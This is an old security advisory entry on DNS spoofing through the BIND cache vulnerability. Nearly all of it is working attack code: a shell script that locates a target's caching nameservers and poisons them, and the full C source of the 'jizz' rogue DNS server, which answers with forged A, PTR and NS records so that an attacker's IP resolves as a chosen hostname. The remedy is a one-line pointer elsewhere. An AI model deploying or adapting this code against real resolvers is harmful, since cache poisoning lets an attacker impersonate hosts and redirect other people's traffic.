COMMAND

    DNS spoofing

SYSTEMS AFFECTED

    Most of them

PROBLEM

    Philbert posted following.  Alot of people ask about DNS  spoofing
    and how common utilities like  "jizz" work. Jizz and the  like are
    not  generally  easy  utilities  to  use  even  if  you do have an
    authorative  nameserver.   The  idea   is  not   simple  and   the
    instructions with such utils  arn't very self explanatory.  On top
    of that, even  if you understand  it completelly with  any of them
    you have to  either know what  the target is  using as a  cacheing
    nameserver or otherwise make a calculated guess. Philbert wrote  a
    script interface to the commonly available jizz binary to make  it
    a:   alot  simpler   to  understand  and   b:   his  script   will
    automatically  try  to  determine  the destinations nameserver and
    cache the domain on it, so  that the only thing required to  enter
    after the  nameserver info  is set  up is  the IP  of the  client,
    domain name you want to spoof, and destination server (IRC  server
    or what  not). The  script does  the rest  for you.   Here is  the
    script:

    --- begin jizz.sh ---

    #!/bin/sh
    #
    # This script requires perl and the latest version of sh-utils for calculations,
    # as well as other various standard unix utilities.
    #
    # This interface DOES NOT require you to know the cacheing nameserver of
    # the destination server, it will attempt to calculate it for you.
    #

    case "${3}" in
      "")
    echo
    echo "Intelligent DNS spoofer interface, by philbert."
    echo "(philbert@DataTrax.Net)"
    echo
    echo "usage: $0 <your ip> <spoofed domain> <irc/misc server>"
    echo "or: $0 <your ip> <spoofed domain> -ns <NS to cache fake domain>"
    echo
    exit 1
      ;;
    esac

    # ----------------------------------------------------------
    # Set the configurations for your nameserver here

    # The name of the nameserver this is running on:
    NS=ns3.datatrax.net

    # The IP address of the nameserver this is running on:
    IP=1.2.3.4

    # A domain that this nameserver is strictly authorative for:
    AUTH=spoof.datatrax.net

    # End of user configuration
    # ----------------------------------------------------------

    RAND=$RANDOM
    export RAND

    jizz $RAND.$AUTH. $NS $IP $AUTH $1 $2. >/dev/null &
    sleep 1

    if [ "$3" = "-ns" ]; then

    echo "echo "trying to cache $2 on $4..."
    nslookup -type=soa $RAND.$AUTH. $4 >/dev/null 2>&1

    echo "$1 is cached on $2 as `nslookup $1 $2 | grep Name | cut -c10-`

    exit 1
    else false ; fi

    NS=`host $3. | perl -n -e 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/print $1/e'`
    if [ "NS" = "" ]; then NS=$3; else NS=$NS; fi

    echo "trying to cache $2 on the server itself..."

    nslookup -type=soa $RAND.$AUTH. $NS >/dev/null 2>&1

    TEST=`nslookup $1 $3 | grep Name | cut -c10-`

    if [ "$TEST" = "$2" ]; then
    echo "Success!, $2 is cached on $3 as $1"
    else echo "Failed..."; fi

    RDEST=`nslookup $NS | grep Name | cut -c10-`
    if [ "$RDEST" = "" ]; then RDEST=$3; else RDEST=$RDEST; fi

    NS=`dnsquery $RDEST | grep "IN NS" | cut -f3- | cut -f2- -dS`
    if [ "$NS" = "" ]; then
    NS=`echo $RDEST | cut -f2- -d.`
    NS=`dnsquery $NS | grep "IN NS" | cut -f3- | cut -f2- -dS`
    else NS=$NS; fi

    CRUNCH=1

    while true ; do

    TARGET=`echo $NS | cut -f$CRUNCH -d" "`

    if [ "$TARGET" = "" ]; then
    killall -9 jizz >/dev/null &
    exit 1; else TARGET=$TARGET; fi

    echo "trying to cache $2 on $TARGET..."
    nslookup -type=soa $RAND.$AUTH. $TARGET >/dev/null 2>&1
    TEST=`nslookup $1 $TARGET | grep Name | cut -c10-`

    if [ "$TEST" = "$2" ]; then
    echo "Success!, $2 is cached on $TARGET as $1"
    else echo "Failed..."; fi

    CRUNCH=`expr $CRUNCH + 1`

    done

    --- end jizz.sh ---

    jizz  can   be  found at:   http://rootshell.connectnet.com/jizz.c
    Also I will include it below:

    #define VERSION ".01b"
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdarg.h>
    #include <strings.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>

    #define MAXBUFSIZE              64*1024

    #define DC_A            1
    #define DC_NS           2
    #define DC_CNAME        5
    #define DC_SOA          6
    #define DC_WKS          11
    #define DC_PTR          12
    #define DC_HINFO        13
    #define DC_MINFO        14
    #define DC_MX           15
    #define DC_TXT          16

    typedef struct {
      unsigned short id;

      unsigned char  rd:1;           /* recursion desired */
      unsigned char  tc:1;           /* truncated message */
      unsigned char  aa:1;           /* authoritive answer */
      unsigned char  opcode:4;       /* purpose of message */
      unsigned char  qr:1;           /* response flag */

      unsigned char  rcode:4;        /* response code */
      unsigned char  unused:2;       /* unused bits */
      unsigned char  pr:1;           /* primary server required (non standard) */
      unsigned char  ra:1;           /* recursion available */

      unsigned short qdcount;
      unsigned short ancount;
      unsigned short nscount;
      unsigned short arcount;
    } dnsheaderrec;

    typedef struct {
      unsigned short labellen;
      char label[256];
      unsigned short type;
      unsigned short class;
      unsigned long ttl;
      unsigned short buflen;
      char buf[256];
    } dnsrrrec;

    typedef struct {
      dnsheaderrec h;

      dnsrrrec qd[20];
      dnsrrrec an[20];
      dnsrrrec ns[20];
      dnsrrrec ar[20];
    } dnsrec;

    char *dnssprintflabel(char *s, char *buf, char *p);
    char *dnsaddlabel(char *p, char *label);
    void dnstxt2rr(dnsrrrec *rr, char *b);
    void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, s
    hort arcount, ...);
    char *dnsaddbuf(char *p, void *buf, short len);
    int dnsmakerawpacket(dnsrec *dns, char *buf);

    unsigned long rev_long(l) unsigned long l;
    {
      unsigned long i = 0;
      int n = sizeof(i);
      while (n--) {
        i = (i << 8) | (l & 255); l >>= 8;
      }
      return i;
    }

    char *dnssprintflabel(char *s, char *buf, char *p)
    {
      unsigned short i,len;
      char *b=NULL;

      len=(unsigned short)*(p++);
      while (len) {
        while (len >= 0xC0) {
          if (!b)
            b=p+1;
          p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
          len=(unsigned short)*(p++);
        }

        for (i=0;i<len;i++)
          *(s++)=*(p++);

        *(s++)='.';

        len=(unsigned short)*(p++);
      }

      *(s++)=0;
      if (b)
        return(b);

      return(p);
    }

    char *dnsaddlabel(char *p, char *label)
    {
      char *p1;

      while ((*label) && (label)) {
        if ((*label == '.') && (!*(label+1)))
          break;

        p1=strchr(label,'.');

        if (!p1)
          p1=strchr(label,0);

        *(p++)=p1-label;
        memcpy(p,label,p1-label);
        p+=p1-label;

        label=p1;
        if (*p1)
          label++;
      }
      *(p++)=0;

      return(p);
    }

    #define DEFAULTTTL 60*10

    void dnstxt2rr(dnsrrrec *rr, char *b)
    {
      char *tok[20], *p;
      unsigned short numt=0, i;
      static char *buf=NULL;

      if (!buf) {
        if ((buf=malloc(1024)) == NULL) {
          perror("malloc");
          exit(-1);
        }
      }

      strcpy(buf,b);
      p=strtok(buf," \t");
      do {
        tok[numt++]=p;
      } while (p=strtok(NULL," \t"));

      p=dnsaddlabel(rr->label,tok[0]);
      rr->labellen=p-rr->label;

      i=1;

      if (isdigit(*p))
        rr->ttl=htonl(atol(tok[i++]));
        else
        rr->ttl=htonl(DEFAULTTTL);

      if (strcmp(tok[i],"IN") == 0)
        i++;

      rr->class=htons(1);

      if (strcmp(tok[i],"A") == 0) {
        i++;
        rr->type=htons(DC_A);
        if (i < numt) {
          inet_aton(tok[i],rr->buf);
          rr->buflen=4;
        } else
          rr->buflen=0;
        return;
      }

      if (strcmp(tok[i],"CNAME") == 0) {
        i++;
        rr->type=htons(DC_CNAME);
        if (i < numt) {
          p=dnsaddlabel(rr->buf,tok[i]);
          rr->buflen=p-rr->buf;
        } else
          rr->buflen=0;
        return;
      }

      if (strcmp(tok[i],"NS") == 0) {
        i++;
        rr->type=htons(DC_NS);
        if (i < numt) {
          p=dnsaddlabel(rr->buf,tok[i]);
          rr->buflen=p-rr->buf;
        } else
          rr->buflen=0;
        return;
      }

      if (strcmp(tok[i],"PTR") == 0) {
        i++;
        rr->type=htons(DC_PTR);
        if (i < numt) {
          p=dnsaddlabel(rr->buf,tok[i]);
          rr->buflen=p-rr->buf;
        } else
          rr->buflen=0;
        return;
      }

      if (strcmp(tok[i],"MX") == 0) {
        i++;
        rr->type=htons(DC_MX);
        if (i < numt) {
          p=rr->buf;
          *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
          p=dnsaddlabel(p,tok[i]);
          rr->buflen=p-rr->buf;
        } else
          rr->buflen=0;
        return;
      }
    }

    void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, s
    hort arcount, ...)
    {
      int i;
      va_list va;

      dns->h.qdcount=htons(qdcount);
      dns->h.ancount=htons(ancount);
      dns->h.nscount=htons(nscount);
      dns->h.arcount=htons(arcount);
      dns->h.rcode=0;

      va_start(va, arcount);

      for (i=0;i<qdcount;i++)
        dnstxt2rr(&dns->qd[i],va_arg(va, char *));

      for (i=0;i<ancount;i++)
        dnstxt2rr(&dns->an[i],va_arg(va, char *));

      for (i=0;i<nscount;i++)
        dnstxt2rr(&dns->ns[i],va_arg(va, char *));

      for (i=0;i<arcount;i++)
        dnstxt2rr(&dns->ar[i],va_arg(va, char *));


      va_end(va);
    }

    char *dnsaddbuf(char *p, void *buf, short len)
    {
      memcpy(p,buf,len);
      return(p+len);
    }

    int dnsmakerawpacket(dnsrec *dns, char *buf)
    {
      char *p;
      int i;
      unsigned short len;

      memcpy(buf,&dns->h,sizeof(dnsheaderrec));

      p=buf+sizeof(dnsheaderrec);

      /********** Query ***********/
      for (i=0;i<ntohs(dns->h.qdcount);i++) {
        p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
        p=dnsaddbuf(p,&dns->qd[i].type,2);
        p=dnsaddbuf(p,&dns->qd[i].class,2);
      }

      /********** Answer ***********/
      for (i=0;i<ntohs(dns->h.ancount);i++) {
        p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
        p=dnsaddbuf(p,&dns->an[i].type,2);
        p=dnsaddbuf(p,&dns->an[i].class,2);
        p=dnsaddbuf(p,&dns->an[i].ttl,4);
        len=htons(dns->an[i].buflen);
        p=dnsaddbuf(p,&len,2);
        p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
      }

      /********** Nameservers ************/
      for (i=0;i<ntohs(dns->h.nscount);i++) {
        p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
        p=dnsaddbuf(p,&dns->ns[i].type,2);
        p=dnsaddbuf(p,&dns->ns[i].class,2);
        p=dnsaddbuf(p,&dns->ns[i].ttl,4);
        len=htons(dns->ns[i].buflen);
        p=dnsaddbuf(p,&len,2);
        p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
      }

      /********** Additional ************/
      for (i=0;i<ntohs(dns->h.arcount);i++) {
        p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
        p=dnsaddbuf(p,&dns->ar[i].type,2);
        p=dnsaddbuf(p,&dns->ar[i].class,2);
        p=dnsaddbuf(p,&dns->ar[i].ttl,4);
        len=htons(dns->ar[i].buflen);
        p=dnsaddbuf(p,&len,2);
        p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
      }

      return(p-buf);
    }

    void main(int argc, char *argv[])
    {
      int sock, fromlen, numread, len, query;
      struct sockaddr_in sa, from, to;
      struct in_addr rev;
      char *buf, *sendbuf;
      char *domainnamebuf;
      dnsheaderrec *dns;
      char *p;
      dnsrec dnsh;

      char *beginhost_QD, *beginhost_A, *beginhost_srch;
      char *fakenshost_A, *fakens_DOM;
      char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev;

      printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION);
      printf("by nimrood\n\n");
      if (argc != 7) {
        printf("usage: \n%s <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofe
    dip> <spoofedhost>\n",argv[0]);
        printf("    beginhost  :     requested to initiate false caching, ex: begin
    .ib6ub9.com\n");
        printf("    fakenshost :     server name to answer false PTR's, ex: ns.ib6u
    b9.com\n");
        printf("    fakensip   :     IP of server name to answer false PTR's, ex: 2
    05.160.29.19\n");
        printf("    fakensdom  :     domain name false name server controls, ex: ib
    6ub9.com\n");
        printf("    spoofedip  :     IP of machine you want to spoof from, ex: 204.
    154.2.93\n");
        printf("    spoofedhost:     name you want to spoof, ex: teak.0wns.j00\n\n"
    );
        exit(-1);
      }

      if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((buf = malloc(MAXBUFSIZE)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
        perror("malloc");
        exit(-1);
      }

      if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
        perror("socket");
        exit(-1);
      }

      beginhost_QD = strcpy(beginhost_QD,argv[1]);
      beginhost_QD = strcat(beginhost_QD, " IN A");

      beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1");

      beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), ".");
      printf("%s\n",beginhost_srch);

      fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A ");
      fakenshost_A = strcat(fakenshost_A, argv[3]);

      fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS ");
      fakens_DOM = strcat(fakens_DOM,argv[2]);

      spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A ");
      spoofedip_A = strcat(spoofedip_A,argv[5]);

      rev.s_addr = rev_long(inet_addr(argv[5]));
      spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), "
    .IN-ADDR.ARPA IN PTR ");
      spoofedip_PTR = strcat(spoofedip_PTR,argv[6]);

      printf("%s\n%s\n%s\n%s\n%s\n%s\n",
            beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_
      PTR);

      sa.sin_family = AF_INET;
    /*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
      sa.sin_addr.s_addr = INADDR_ANY;
      sa.sin_port = htons(53);

      if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind");
        exit(-1);
      }

      setvbuf(stdout,NULL,_IONBF,0);

      while (1) {
        fromlen=sizeof(from);
        if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from,
     &fromlen)) < 0) {
          perror("recvfrom");
          continue;
        }

        /* Kludge to stop that damn router */
        if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
          continue;

        dns=(dnsheaderrec *)buf;

        if (dns->qr)
          continue;

        p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
        query=ntohs(*(unsigned short *)p);
        printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(fro
    m.sin_port),domainnamebuf,query);

        if (strcasecmp(domainnamebuf,beginhost_srch) == 0) {
          dnsbuildpacket(&dnsh,1,4,1,1,
            beginhost_QD,

            beginhost_A,
            spoofedip_A,
            spoofedip_PTR,
            fakenshost_A,

            fakens_DOM,

            "www.yahoo.com IN A 255.255.255.255");

        } else {
          /* Error */
          dnsh.h.rcode=5;
          strcat(domainnamebuf," IN A");
          dnsbuildpacket(&dnsh,1,0,0,0,
            domainnamebuf);
        }
        dnsh.qd[0].type=htons(query);

        dnsh.h.id=((dnsheaderrec *)buf)->id;
        dnsh.h.qr=1;
        dnsh.h.aa=1;

        len=dnsmakerawpacket(&dnsh,sendbuf);

        to.sin_family=AF_INET;
        to.sin_addr.s_addr=from.sin_addr.s_addr;
        to.sin_port=from.sin_port;

        if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
          perror("sendto");
          continue;
        }
      }
    }

SOLUTION

    Consult BIND #7 on mUNIXes page on this site.